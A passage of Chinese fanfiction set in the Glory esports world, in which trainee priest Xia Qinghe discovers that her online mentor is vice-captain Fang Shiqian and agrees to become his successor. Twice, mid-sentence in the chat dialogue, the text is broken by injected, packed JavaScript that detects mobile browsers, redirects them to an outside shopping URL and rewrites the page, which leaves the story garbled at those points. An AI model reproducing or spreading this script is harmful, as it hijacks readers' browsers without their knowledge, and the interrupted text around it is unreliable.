茯苓的动作没有停,他飞快地给几个关键输出职业刷上了增加攻击力的光明审判状态,同时一个希望祷言,瞬间回复了团队主力输出一大截见底的法力值。 紧接着,各种憋了许久的大招光效在中草堂阵营中争先恐后地亮起,如同酝酿已久的暴雨,全力倾泻在残血的影舞者身上。 黄少天也立刻意识到不对,剑光暴涨,想要强行摆脱夏轻禾去干扰BOSS最后的血量,却被夏轻禾一个提前预读、卡在他技能衔接点的催眠给定在了原地! 虽然以他的抗性,催眠时间极短,但就是这电光石火的一瞬,足以让他错过最关键的打断或补刀时机。 影舞者发出一声凄厉而不甘的哀嚎,庞大的、介于虚实之间的身躯轰然倒地,爆出一地璀璨的光点和材料。 系统公告:影舞者已被中草堂公会击杀! 世界频道安静了一瞬,然后被各种惊叹、骂娘、恭喜和“???”刷屏。 蓝溪阁团队里,黄少天气得跳脚,文字泡再度开始刷屏,不过这次主要是针对中草堂“狡猾”、“趁人之危”、“牧师玩战术心真脏”以及那个“可恶至极的小牧师别让我在竞技场碰到你”。 中草堂这边则是一片欢腾,团队频道被“666”和“牛逼”刷屏。夏轻禾看着系统公告,也愣了一下,随即兴奋地差点从椅子上跳起来,对着麦克风喊:“赢了!我们抢到了!茯苓老师太帅了!” 她完全忘了刚才和黄少天对喷的激烈,满心都是抢到BOSS的喜悦和最后那一系列配合的酣畅淋漓。 然后她才注意到,茯苓老师不知何时已经回到了她身边不远的位置,依旧是那副平静的样子,十字架随意地拎着,好像刚才那个关键无比、逆转局势的神圣十字架和希望祷言不是他放的一样。 私聊窗口跳动。 [茯苓]:吵赢了? 夏轻禾脸一红,这才想起自己刚才那副架势全被老师看在眼里了。她有点不好意思,但更多的是干了票大事的兴奋。 [轻舟已过]:……没输! 而且,我觉得我垃圾话水平也有进步!战术骚扰,有效! [茯苓]:呵。注意力分配还有问题,后期几乎忘了看团队面板。不过……效果还行。至少仇恨拉得挺稳。 这算……夸奖?夏轻禾琢磨着这句“效果还行”和“仇恨拉得挺稳”,是指她成功缠住了黄少天,为团队创造了机会吗?她心里美滋滋的。 [轻舟已过]:老师,最后那个神圣十字架,时机抓得太帅了!你怎么算准的? [茯苓]:基本操作。观察,计算,然后执行。回答得轻描淡写。行了,今天到此为止。数据自己复盘,我要的那几条别忘了,我下了。 说完,茯苓的头像真的暗了下去,干脆利落。 夏轻禾看着灰掉的头像,撇撇嘴,小声嘀咕“还是这么酷”,但脸上的笑容却怎么也收不住。今天不仅检验了学习成果,还跟传说中的剑圣黄少天正面对喷,最后还配合老师抢到了BOSS!真是太痛快了! 乔一帆的私聊跳了出来,语气里还带着点没散去的后怕和巨大的兴奋:“轻禾姐,你刚才……真的跟黄少天大神对骂啊?还……还差点单挑?太厉害了!不过,茯苓前辈最后那一下指挥和操作,才是真正的关键吧?” “那当然,我老师嘛!”夏轻禾得意洋洋地回复,好像那是她自己的功劳一样,“没有我正面缠住黄少天,老师也没那么好的机会。这叫团队配合!” 她现学现卖。 “走走走,分材料去!看看这次有没有好货!老师点名要的暗影尘和夜光菇必须拿到!” 3. 第 3 章 夏日的阳光透过窗帘缝隙,在夏轻禾的书桌上切出一道明晃晃的光带。空气中飘浮着细小的尘埃,在光束里缓慢翻滚。房间里只有机箱风扇发出的轻微嗡鸣,像某种温顺的电子宠物在呼吸。 往常这个时候,她肯定已经坐在电脑前,要么和茯苓老师在神之领域里切磋,要么混迹在公会团里抢BOSS,键盘敲得噼里啪啦响,手指在键帽间跳跃如舞。 但今天,书桌前空无一人。电脑屏幕暗着,像一只闭上的眼睛。旁边的账号卡安静地躺在抽屉里,卡面上微草的队徽在阴影中泛着淡淡的绿光。 客厅里传来行李箱滑轮滚动的声音,还有一个带着笑意的、比夏轻禾更成熟一些的女声:“轻禾,东西放好了没?电影快开场了,别磨蹭。” “来了来了!”夏轻禾从自己房间里冲出来,手里抓着一顶鸭舌帽,胡乱扣在头上。她今天穿了件简单的白色T恤和牛仔短裤,脸上带着难得的、不是因为游戏胜利而浮现的兴奋红晕。 站在客厅里的女人身材高挑,一头利落的披肩长发,戴着一副细边眼镜,眉眼和夏轻禾有五六分相似,只是轮廓更分明,眼神也更沉稳锐利。她穿着休闲的衬衫和长裤,手里拿着车钥匙,正是夏轻禾的姐姐,夏茗。 “姐,你真不用倒时差啊?刚回来就拉我出去玩。”夏轻禾嘴上说着,脚步却轻快地跟了上去。 “倒什么时差,在飞机上睡够了。”夏茗伸手揉了揉夏轻禾的头发,把她的帽子弄歪了一点,“再说了,再不盯着你出来放放风,你怕是要跟电脑椅长在一起了。荣耀好玩,也不能这么没日没夜。” 夏轻禾吐了吐舌头,把帽子扶正。姐妹俩一起出了门。 电影是一部最近很火的爆米花大片,特效炫酷,剧情简单直给。夏轻禾看得津津有味,抱着超大桶的爆米花,时不时和夏茗低声吐槽两句反派太弱智,或者主角光环太耀眼。夏茗则看得相对平静,只是嘴角始终带着一丝浅笑,偶尔附和妹妹一句。 从电影院出来,夏茗又带着夏轻禾去逛街。她们去逛了夏轻禾平时很少去的精品店,试了一些稀奇古怪的小饰品;在电玩城里,夏茗用她那曾经操纵神枪手在职业赛场上精准点射的手指,轻松抓上来两个丑萌的玩偶,赢得夏轻禾一阵欢呼;最后还去了一家需要排长队的网红奶茶店,一人捧着一大杯加足了料的奶茶,边走边喝。 “还是国内的东西好吃。”夏茗吸了一口奶茶里的珍珠,满足地叹了口气,“那边的东西,啧,一言难尽。” “那姐你这次回来还走吗?”夏轻禾咬着吸管,含糊地问。 “短期不走,学业告一段落了,回来看看,也休息一下。”夏茗看着妹妹,“你呢?训练营怎么样?我听说微草训练营挺严格的,王杰希那个人……要求很高吧?” “还行吧,能跟上。”夏轻禾说到这个,顿了顿,“王队……呃,队长他们要求是挺高的,不过能学到东西。对了姐,我在网游里认识了一个特别厉害的牧师!”她迫不及待地想把茯苓老师的事情分享给姐姐,这事在她心里憋了好几天了。 “哦?多厉害?”夏茗饶有兴趣地问,眼镜后的眼睛微微眯起。 “就……超级厉害!意识、操作、大局观,感觉都不比职业选手差!他还在指点我呢,虽然说话挺气人的,但教的东西真的有用!”夏轻禾手舞足蹈地比划着,差点把奶茶洒出来,“我跟你说,前两天我们还一起抢了个BOSS,我还跟蓝雨的那个黄少天对喷来着!当然主要是茯苓老师厉害,最后时机抓得特别准……” 夏茗听着妹妹叽叽喳喳的讲述,脸上的笑容更深了,眼神里却掠过一丝复杂的情绪。她当年也是从这个年纪过来的,怀揣着对游戏的热爱和一点点天赋,在职业的道路上摸索。她看着妹妹兴奋发亮的脸庞,仿佛看到了几年前的自己——那个在训练室里彻夜练习走位,在赛后复盘时和教练争得面红耳赤的自己。 “听起来是个不错的老师。”夏茗等夏轻禾告一段落,才缓缓开口,“不过,轻禾,你有没有想过,你为什么这么喜欢牧师?又或者说,为什么总想着用牧师去做一些……不那么‘牧师’的事情?” 这个问题,和茯苓问过的有些相似,但角度似乎又不太一样。 夏轻禾愣了一下,咬着吸管想了想:“我觉得……牧师很重要啊,能保护队友,能决定一场比赛的走向。但是……”她皱起眉,试图组织语言,“但是有时候,光站在后面加血,看着队友在前面拼杀,总觉得……不够过瘾?我想更直接地参与到战斗里去,想用自己的方式去影响战局,不仅仅是靠治疗。” 夏轻禾偷偷看了一眼姐姐。夏茗曾经是嘉世的神枪手,还是拿过两个冠军的神枪手,操作犀利,打法灵动,是团队中重要的火力点和战术执行者。 夏轻禾以前也偷偷玩过姐姐留下的那个神枪手小号,装备不算顶级,但手感很好。可惜,她发现自己实在没有玩枪系的天赋,子弹总是差那么一点,移动射击更是惨不忍睹,用乔一帆委婉的话说就是“轻禾姐,你的预判很准,但枪口好像有自己的想法”。 “姐,我是不是……挺异想天开的?”夏轻禾小声问,“牧师就该好好加血,对吧?就像你当年玩神枪手,就是要在最安全的位置打出最致命的输出。” 夏茗沉默了一会儿,伸手揽过妹妹的肩膀,用力按了按。“没有固定的就该怎么样。我玩神枪手,是因为我擅长那个,也喜欢那个。你喜欢牧师,这很好。” 她停下脚步,看着街上来往的人群,声音放轻了些:“至于你想怎么玩……当年在嘉世,我们也遇到过各种稀奇古怪的打法和想法。叶秋就曾经提出过一个设想,让牧师在某些特定阵容里承担一部分控制职能,而不是纯治疗。” 夏轻禾的眼睛瞪大了。 “当然,那只是个设想,后来因为种种原因没深入。”夏茗转过头看妹妹,眼神认真,“关键不在于想法本身多奇特,而在于你有没有能力把它实现,并且真正为团队带来价值。这需要两样东西:第一,扎实到无可挑剔的基本功,否则一切创新都是白搭;第二,对团队战术的深刻理解,你得知道什么时候该冒险,什么时候该稳妥。” 她看着夏轻禾:“你那个茯苓老师说得对,这需要大量的练习和思考。而且,可能会很辛苦,会被人不理解,甚至会被质疑不务正业。” “我不怕辛苦!”夏轻禾立刻说,“只要方向是对的,再难我也试试!茯苓老师说我的基本功还可以,就是……就是有时候太冲动。” 夏茗看着妹妹充满干劲的样子,心里那点复杂的情绪慢慢沉淀下去,化为了温和的支持。“那就好好跟你的老师学。不过也要记得,职业赛场和网游是两回事,训练营的系统训练也很重要,别偏废了。还有……”她顿了顿,“如果你那位老师真的很厉害,你不妨多观察观察他。真正高手的习惯,是会渗透在每一个细节里的。” “知道啦!”夏轻禾用力点头,心里却对姐姐最后那句话有些困惑。观察茯苓老师?她一直都在观察啊。 姐妹俩又逛了一会儿,吃完晚饭,夏茗才开车把夏轻禾送回家。回到自己熟悉的房间,夏轻禾觉得心情特别好。和姐姐待了一天,聊了天,分享了最近的生活和烦恼,还得到了鼓励和支持,特别是姐姐提到叶秋当年也有过类似设想时,她心里那块一直悬着的石头好像落地了一点。这种感觉比在游戏里抢到十个BOSS还让人开心。 她哼着歌,把今天抓到的玩偶摆在床头,然后才慢悠悠地走到书桌前,按亮了电脑屏幕。 电脑启动的蓝光照亮她的脸,荣耀客户端自动登录。刚一上线,右下角的好友消息图标就疯狂闪烁起来,是乔一帆。 点开一看,是好几条留言,时间从下午她出门后不久开始,断断续续,最后一条是半小时前。 [灰月]:轻禾姐,在吗? [灰月]:你今天没上线啊?有点事想跟你说。 [灰月]:是关于茯苓的。 [灰月]:我越想越觉得不对劲。 [灰月]:今天下午公会又组织抢了个野图BOSS,茯苓的指挥特别厉害,时机、节奏、人员调度都恰到好处,最后三个BOSS,我们中草堂抢到了两个! [灰月]:然后我就突然想起来……茯苓,茯苓……冬虫夏草! [灰月]:我们副队长,方士谦大神,他的牧师角色,ID不就是冬虫夏草吗?! [灰月]:而且方神夏天好像有时候也会上网游用小号!他对牧师的理解那么深,操作那么强,还正好在微草公会附近出没……还愿意指点人…… [灰月]:轻禾姐!茯苓会不会就是方士谦副队长的小号啊?! [灰月]:你看到消息回我一下!我有点激动,又不敢确定…… 留言到此结束。 夏轻禾坐在电脑前,一条条看下来,脸上的笑容慢慢僵住,眼睛越瞪越大,嘴巴也无意识地张开了。 茯……苓?是……方士谦?! 那个联盟里号称“治疗之神”,微草战队的副队长,王杰希的左膀右臂,打法以精准、沉稳、大局观强著称,偶尔也会有出人意料骚操作的方士谦?! “不、不可能吧……”夏轻禾喃喃自语,感觉心跳有点加速,脑子里乱哄哄的。 她靠在椅背上,闭上眼睛,开始回想。 第一次见面,他那个精准的神圣之火,时机抓得刁钻,正好在她因失误分神的瞬间。普通玩家能有这种阅读比赛的能力? 后来在烈焰森林,他及时出现救场,那沉稳的治疗节奏,每一次治疗术都像算好了一样,在她最需要的时候落下,不多不少。那种对血量和技能CD的掌控力…… 永夜峡谷,他最后那个奠定胜局的神圣十字架和希望祷言,在所有人都被她和黄少天的骂战吸引时,他悄无声息地移动到最佳位置,完成了一次完美的战术调度。那种对战场局势近乎恐怖的把控力…… 还有他说话的方式。 “公共CD管理要注意。” “你的技能覆盖率太低了。” “这个走位多余了0.3秒。” 这些词……训练营的教练也常说。但茯苓说得更自然,更像是一种刻在骨子里的习惯。 夏轻禾猛地睁开眼睛,手指有些发抖地点开搜索引擎,输入“方士谦 小号”。搜索结果不多,但有一条几年前的论坛帖子提到:“方神好像挺喜欢中药名当小号ID,除了冬虫夏草,还用过防风、白术……” 茯苓,也是一味中药。 她想起姐姐的话:“真正高手的习惯,是会渗透在每一个细节里的。” 所以那些看似随意的指点,那些精准到可怕的操作时机,那种平淡却不容置疑的语气……是因为,那根本就是一个职业顶尖选手的本能? 夏轻禾觉得自己的脸在发烫,耳朵里嗡嗡作响。她抓起桌上的水杯灌了一大口,冰凉的水滑过喉咙,却浇不灭心里那团越烧越旺的火焰。 兴奋,紧张,不可思议,还有一点……惶恐。 那可是方士谦啊!她进了微草训练营大半年,近距离见到副队长的次数屈指可数。印象里,他总是跟在王杰希身边,表情稳重,话不是太多。训练时偶尔会过来看一眼,简短地指出队员的错误,语气可以很温和,但总是一针见血。 有一次,她在训练室里练习治疗走位练到手指发麻,方士谦正好路过,停下看了几秒,只说了一句:“手腕放松点,你太紧绷了。”然后就走开了。 这样一个站在职业圈顶端的大神,会是她那个在私聊里被她吐槽,偶尔还会发个“呵呵”的茯苓老师?会耐着性子陪她在网游里一遍遍刷副本,在她失误时平淡地说“慢了零点五秒”?会看着她跟黄少天对喷垃圾话,最后只评价一句“效果还行”? 太魔幻了。 可是……如果真是呢? 如果茯苓就是方士谦,那一切就都说得通了。为什么他那么强,为什么他愿意指点她,为什么他总是一副“我很忙”的样子,为什么他对微草的战术那么熟悉…… 夏轻禾深吸一口气,手指有些僵硬地给乔一帆回复。 [轻舟已过]:一帆!我刚回来!看到你留言了! [轻舟已过]:你……你的猜测,我仔细想了想,好像……真的有可能。 她没敢说确定,但心里的天平已经倾斜。 乔一帆那边几乎是秒回。 [灰月]:轻禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029041|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐你终于在了!你也这么觉得对不对?! [灰月]:你看啊,首先,ID关联。茯苓也是一味中药,冬虫夏草和防风也是。方神好像挺喜欢用中药名当小号ID的,我听说他还有个小号叫白术什么的。 [灰月]:其次,水平。茯苓那操作意识,绝对是职业级的,而且是顶尖职业级。网游里哪有那么多隐士高人? [灰月]:第三,地点和动机。他出现在中草堂公会活动区域,还主动关注和指点你。你是微草训练营的,他作为副队长,考察和指点有潜力的新人,完全说得通啊! [灰月]:而且今天下午抢BOSS,他的指挥实在是太专业了,完全就是职业战队的节奏。 夏轻禾看着乔一帆一条条分析,每一条都像小锤子敲在她心里,把那个猜想敲得更实。她正要回复,忽然注意到好友列表里,那个ID茯苓的头像,从灰色变成了彩色。 他上线了。 夏轻禾的心跳猛地漏跳了一拍,手指僵在键盘上,一时间不知道该打字还是该立刻假装不在。 几乎是同时,一条私聊消息跳了出来,发送者正是茯苓。 [茯苓]:上线了?今天玩得开心? 语气一如既往的平淡自然,好像只是随口一问。 夏轻禾盯着那行字,感觉指尖都在发麻。她深吸一口气,又慢慢吐出来,努力让自己冷静。不管是不是方神,他现在都还是她的茯苓老师。 她手指有些僵硬地敲击键盘。 [轻舟已过]:还行,跟姐姐出去玩了。 [茯苓]:嗯,劳逸结合挺好的。 然后那边沉默了几秒。 夏轻禾咬了咬牙。姐姐说要观察细节,乔一帆给了她线索,而现在,当事人就在屏幕对面。她需要一个答案,一个能让她安心,或者至少让她知道该怎么继续相处的答案。 脑子一热,她把心里盘旋的那个问题,用尽量平静的语气敲了出去。 [轻舟已过]:茯苓老师,我有个问题……可能有点冒昧。 [茯苓]:说。 [轻舟已过]:您……是不是认识ID冬虫夏草的牧师? 问完这句话,夏轻禾屏住呼吸,眼睛死死盯着聊天窗口,心脏在胸腔里咚咚直跳,仿佛要跳出来一样。她既期待看到肯定的答案,又有点害怕真的是那个答案——如果真是,她以后该怎么面对他?是该继续没大没小地叫他“茯苓老师”,还是该恭恭敬敬地喊“方副队”? 聊天窗口顶端显示“对方正在输入...”,持续了几秒钟,然后又停下了。夏轻禾的心也跟着那提示忽上忽下,像坐过山车。 终于,新的消息跳了出来。 [茯苓]:认识。 只有简单的两个字。 夏轻禾还没来得及消化这两个字意味着什么,下一条消息紧随而至。 [茯苓]:怎么,你也认识? 这反问让夏轻禾愣住了。 她认识冬虫夏草?她当然知道冬虫夏草是方士谦,微草的副队长,可她“认识”吗?作为一个训练营学员,远远见过几面、听过几句指点那种“认识”? 她忽然意识到,茯苓——如果真是方士谦——可能不是在反问,而是在用一种委婉的方式承认。他问她是不是也认识冬虫夏草,潜台词是不是在说:你知道冬虫夏草是谁,那你也应该猜到我是谁了? 这是一种默契的试探,也是一个留有餘地的坦白。 夏轻禾的手指悬在键盘上方,指尖微微颤抖。她该点破吗?点破了之后该怎么办? 她想起了姐姐今天说的话:“关键不在于想法本身多奇特,而在于你有没有能力把它实现。” 想起了茯苓老师教她的那些东西,那些让她实实在在感到进步的东西,那些让她对牧师这个职业有了全新理解的东西。 不管他是茯苓还是方士谦,他都是一个好老师。而她,还想继续学下去。她想成为那个既能保护队友、又能主动创造机会的牧师,想证明自己的路不是异想天开。 想通了这一点,夏轻禾忽然没那么紧张了。她慢慢敲字回复。 [轻舟已过]:嗯……知道。微草的方士谦前辈,很厉害的牧师。 她故意用了“知道”而不是“认识”,语气也尽量保持平常,甚至带上一丝对职业选手普通的敬仰。但她特意提到了微草的,提到了前辈——这是她给出的信号:我猜到你是谁了,但我不会说破,我们可以继续维持现在的相处方式。 这是一种小心翼翼的尊重,也是一份心照不宣的默契。 茯苓那边又停顿了一会儿。夏轻禾几乎能想象出屏幕那头的人,或许正看着这句话,嘴角带着点无奈的浅笑。 [茯苓]:哦。 然后他换了个话题,自然而然,仿佛刚才那段对话从未发生。 [茯苓]:昨天抢BOSS的录像,看了吗?自己有什么想法? 话题转回了训练。夏轻禾松了口气,同时又有点莫名的失落和兴奋交织。 他这算是……默认了?还是不想多说? 不管怎样,训练继续。夏轻禾立刻把那些乱七八糟的猜测和情绪压下去,专注于茯苓的问题。她整理了一下思路,开始一条条说出自己对昨天那场混战的复盘:哪里做得好,哪里出了问题,尤其是面对黄少天突击时的应对和后续注意力分配的问题。 茯苓静静地听着,偶尔在她说完一段后,简短地补充或纠正一两点。 [茯苓]:你拦截黄少天的选择是对的,但光之束缚放早了。他的Z字抖动有习惯性落点,你可以预判。 [轻舟已过]:啊……对哦!我当时太急了! [茯苓]:还有,你撤退的时候,第一个翻滚方向选错了。应该往三点钟的石头后面躲,而不是直接后退。直接退会暴露在枪炮师的射程里。 [轻舟已过]:……我记住了。 对话渐渐回到了熟悉的师徒教学模式。夏轻禾说着说着,最初的紧张和忐忑慢慢消散,取而代之的是投入和思考。 原来教她的,真的是方士谦啊。 那个治疗之神。 那个会在训练室提醒她“手腕放松点”的副队长。 4. 第 4 章 第二天上午,夏轻禾登录荣耀时,感觉手指尖都有些发飘。她看着好友列表里那个亮着的茯苓,心里好像揣了只兔子,扑通扑通跳得厉害。 中草堂今天的目标是70级野图BOSS,盘踞在叹息峡谷的岩石巨像。地图崎岖,到处都是陡峭的岩壁和狭窄的通道,不利于大团队展开,但对擅长攀爬走位的职业是个机会。 夏轻禾操作着轻舟已过,跟随公会大团进入峡谷。她努力让自己集中精神,注意着团队频道里的指挥和周围的环境,但眼睛总是不由自主地往小地图上某个代表队友的绿色光点上瞟。 茯苓今天依然站在一个看似普通却视野极佳的位置,十字架握在手中,随着团队的移动而调整着站位,不急不缓。他的每一个动作看起来都那么自然流畅,可落在现在的夏轻禾眼里,却好像自带了一层高手光环。 看他抬手给前排坦克套了个圣盾,那时机卡的,正好是岩石巨像挥臂砸下的前一秒。 看他不动声色地丢出一个神圣之火,封住了侧翼一个霸气雄图元素法师可能的吟唱路径。 看他偶尔在团队频道里简短地补充一两句指挥没注意到的细节,语气平和,却总能切中要害。 夏轻禾看得有点入神。 “轻舟,集中。”直到团队里有人提醒了一句。 “哦哦,好的!”夏轻禾脸一热,连忙答应。她甩甩头,试图把“那是方士谦那是方士谦”的念头从脑子里甩出去,专注于眼前的战斗。 岩石巨像的攻击势大力沉,而且会召唤小型的岩石傀儡,战斗场面一度有些混乱。夏轻禾努力回忆茯苓之前教她的东西,注意走位,预判技能,该进攻骚扰的时候也不含糊,一个魂御砸出去,打断了一个正在读条召唤更多傀儡的蓝溪阁术士。 打着打着,她渐渐找回了一些状态,那种在战场上掌控节奏的感觉又回来了。只是,目光还是会时不时地飘向茯苓的方向。 她看到茯苓似乎总是能提前半步察觉到危险,从容避开飞溅的碎石;看到他治疗技能的释放如行云流水,从不浪费,却又总能在最关键的时刻拉起队友的血线;看到他在混战中依然保持着清晰的思路,偶尔在公会频道里打出的指令简洁明确。 原来真正的治疗之神,在网游里是这样的啊。夏轻禾心里忍不住感叹。没有赛场上那种紧绷到极致的对抗压力,却多了一份举重若轻的从容和细致入微的观察。他好像把这里也当成了另一种形式的训练场,或者说,一种更放松的实践场。 就在她又一次偷偷把视角转向茯苓,看着他一个精妙的走位同时避开了BOSS的范围践踏和来自侧面的冷箭时,一条私聊消息突然跳了出来。 茯苓:我脸上有BOSS吗?看了好几次了。 夏轻禾手一抖,差点把鼠标扔出去。她做贼心虚般地立刻把视角转回自己面前张牙舞爪的岩石傀儡,脸颊腾地烧了起来。被发现了! 她手指僵硬地敲着键盘,不知道该怎么回。承认自己一直在偷看他?那也太尴尬了!否认?好像更欲盖弥彰…… 还没等她组织好语言,茯苓的下一条消息又来了。 茯苓:放松点,跟以前一样就行。该干嘛干嘛。 这句话像是一颗定心丸,又像是一种含蓄的承认。他没有否认自己是方士谦,也没有摆出副队长的架子,只是用“茯苓老师”的口吻,告诉她不必紧张,像过去那些天一样相处就好。 夏轻禾盯着那行字看了几秒,心里那根紧绷的弦忽然松了一些。是啊,不管他是茯苓还是方士谦,他教她东西,她跟他学习,这种关系并没有变。如果因为他可能是方士谦就变得畏手畏脚、战战兢兢,那反而辜负了他之前花时间指点她的心意,也违背了她自己想变强的初衷。 想通了这点,夏轻禾深吸一口气,慢慢吐出来。她回复道:知道了,老师。刚才走神了,我的错。 茯苓回了一个简单的“嗯”,便不再多说。 夏轻禾关掉私聊窗口,重新将全部注意力投入眼前的战斗。这一次,她不再刻意去关注茯苓,而是努力做好自己该做的事情——治疗、预判、控制、偶尔的骚扰。只是心态上,终究还是有些不一样了,多了一份“不能给老师丢脸”的暗暗较劲,操作也更加认真谨慎。 战斗持续了半个多小时,在中草堂和其他两家公会的激烈争夺下,岩石巨像终于轰然倒地。中草堂再次凭借出色的团队配合和关键时的集火,成功抢到了归属权。团队频道里一片欢腾,大家互相道贺,商量着怎么分配材料。 夏轻禾也松了口气,活动了一下有些酸痛的手指。今天这场战斗,她感觉自己发挥得还行,至少没出什么大的纰漏,有几个瞬间的处理,她自觉还挺漂亮的。 就在她准备去看看掉落列表时,私聊提示音又响了。 茯苓:今天还行,比昨天稳了点。 夏轻禾心里一喜,能被可能是方士谦的老师肯定,哪怕只是这么简单的一句,也足够让她开心了。她立刻回复:谢谢老师!我会继续努力的! 茯苓那边沉默了片刻,似乎在斟酌词句。过了好一会儿,新的消息才发过来。 茯苓:有件事,想问问你的想法。 夏轻禾正色,坐直了身体。茯苓老师用这么正式的语气开头,会是什么事? 轻舟已过:老师您说。 茯苓:你之前说,你想在牧师这个职业上,走出点不一样的路。想更直接地影响战局。 茯苓:那么,你有没有想过,把这条路,走到职业赛场的舞台上去? 夏轻禾看着这句话,愣住了。职业赛场?她当然想过,每一个进入训练营的人,谁没做过登上职业舞台、捧起奖杯的梦?但她一直觉得那离自己还很远,尤其是在她这种“离经叛道”的打法还没有得到验证,甚至可能不被看好的情况下。 她迟疑地打字:我……想是想过。但是老师,我的打法,真的能在职业赛场上有用吗?而且,我现在还在训练营,离正式选手…… 茯苓打断了她:打法可以磨炼,经验可以积累。关键是,你有没有那个心气,和承受压力的准备。 茯苓:我今天问你这个问题,不是以一个网游里萍水相逢的玩家身份。 茯苓:你知道冬虫夏草。那你也应该知道,我,方士谦,在微草的位置。 夏轻禾的心跳又加快了。他终于直接点明了!虽然之前已经猜到,但亲眼看到方士谦这个名字从他的聊天窗口里打出来,那种冲击力还是不一样。 她手指有点抖,回复:我知道,方副队。 茯苓:嗯。那我直说了。 茯苓:我的职业合同,最多还有两年。两年后,我计划出国留学,继续深造。这不是临时起意,是早就有的规划。 茯苓:冬虫夏草这个账号,是联盟顶尖的牧师账号之一,更是微草战术体系里非常重要的一环。我离开后,这个位置,需要有人能接上。不是随便一个治疗选手就行,需要真正理解这个账号,理解微草的战术,并且有能力、有想法让它继续发光,甚至……变得不一样。 茯苓:我观察你有一段时间了。在网游里,也在训练营。 茯苓:你有天赋,肯吃苦,想法虽然有点野,但不是瞎胡闹,有自己的一套逻辑。最重要的是,你对牧师这个职业,有热情,也有改变它的冲动。 茯苓:所以我想问你,夏轻禾。 茯苓:你愿不愿意,试着成为那个接替冬虫夏草的人? 茯苓:不是现在,不是明天。是未来。以你为目标,跟着我学,在训练营里拼命练,在可能的机会里一点点证明自己。这条路会非常难,比你想象的要难得多。你会面临比现在多得多的质疑、压力和挑战。甚至可能,最终也达不到要求。 茯苓:但如果你愿意尝试,我会尽我所能,在这两年里,把我能教给你的东西,都教给你。不仅仅是牧师的操作和意识,还有对比赛的理解,对团队的担当,如何在高强度的职业环境中保持心态。 茯苓:你好好考虑一下,不用立刻回复我。 一大段话静静地躺在聊天窗口里。夏轻禾从头到尾,一字一句地看了好几遍。每个字她都认识,连在一起的意思她也明白,可还是觉得有点晕乎乎的,像是被一个大馅饼砸中了脑袋,但馅饼太重,砸得她有点懵。 方士谦……方副队……想找她当徒弟?继承冬虫夏草? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029042|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个无数牧师选手向往的顶级账号?那个微草战队的治疗核心?那个属于“治疗之神”的传奇角色? 而她,一个还在训练营里摸索、打法不被大多数人看好的小学员? 巨大的不真实感过后,是一种沉甸甸的压力,和一丝从心底最深处窜上来的、无法抑制的兴奋与渴望。 她想起姐姐夏茗的话:“关键不在于想法本身多奇特,而在于你有没有能力把它实现。” 想起自己对着电脑屏幕一次次练习、复盘,被方士谦打击又鼓励的日日夜夜。想起她那个“进攻型牧师”的、被很多人视为玩笑的梦想。 现在,有一个机会,一条虽然布满荆棘却可能通向梦想彼岸的路,被方士谦亲手递到了她面前。 接,还是不接? 她几乎没有任何犹豫。手指已经先于大脑做出了反应。 轻舟已过:我愿意! 打完这三个字,她顿了顿,用力吸了口气,又补充道: 轻舟已过:方副队,我愿意试试!再难我也愿意!我会拼命练,好好学。我……我想接过冬虫夏草,我想在职业赛场上,打出属于我自己的牧师! 她把这段话发出去,感觉手心都在冒汗,心跳得像擂鼓一样。既忐忑,又充满了一种豁出去的决心。 方士谦那边安静了很久。久到夏轻禾开始怀疑自己是不是太冲动,把话说得太满,或者是不是网络卡了。 终于,消息回了过来。 茯苓:好。 茯苓:记住你今天说的话。这条路,从现在开始,就正式开始了。 茯苓:训练营的日常训练不能落下,那是基础。网游里的实战和我的单独指导,是补充和拔高。我会给你制定计划,也会跟王队沟通。 茯苓:做好心理准备,接下来的日子,不会轻松。 夏轻禾用力点头,哪怕对方根本看不见。她快速打字:我明白,方副队!我准备好了! 茯苓:嗯。今天先到这里。明天训练营见。 轻舟已过:训练营见! 茯苓的头像暗了下去。夏轻禾却还坐在电脑前,盯着那个灰色的头像,又看看聊天记录里那些对话,感觉像做梦一样。 她猛地掐了一下自己的胳膊。 “嘶——疼!” 不是梦。 她真的成了方士谦默认的徒弟?未来有可能继承冬虫夏草? 巨大的喜悦和后知后觉的紧张一起涌上心头。她兴奋地从椅子上跳起来,在房间里转了两圈,又强迫自己坐下,双手捂住发烫的脸。 冷静,冷静,夏轻禾!这只是一个开始,一个承诺,距离真正实现还差着十万八千里呢!方副队说了,会非常难,非常辛苦! 可是……真的好兴奋啊! 她忍不住打开和乔一帆的聊天窗口,手指翻飞。 轻舟已过:一帆!一帆!在不在! 灰月:在的轻禾姐,怎么了?这么激动? 轻舟已过:我……我好像……真的被方神收徒弟了! 她把刚才方士谦对她说的话,简略地跟乔一帆说了一下,当然略去了方士谦直言自己两年后要离开的具体原因,只说方副队觉得她有点潜力,问她愿不愿意跟着学,以后有机会试试看。 乔一帆那边也震惊了,发过来一连串的感叹号。 灰月:真的吗?!太好了轻禾姐!恭喜你!方神亲自指导啊!太厉害了! 灰月:不过……压力也会很大吧?冬虫夏草的继承者…… 轻舟已过:嗯,我知道。压力山大。但是我想试试!一帆,我们一起加油!你也要在训练营好好努力! 灰月:嗯!我们一起加油! 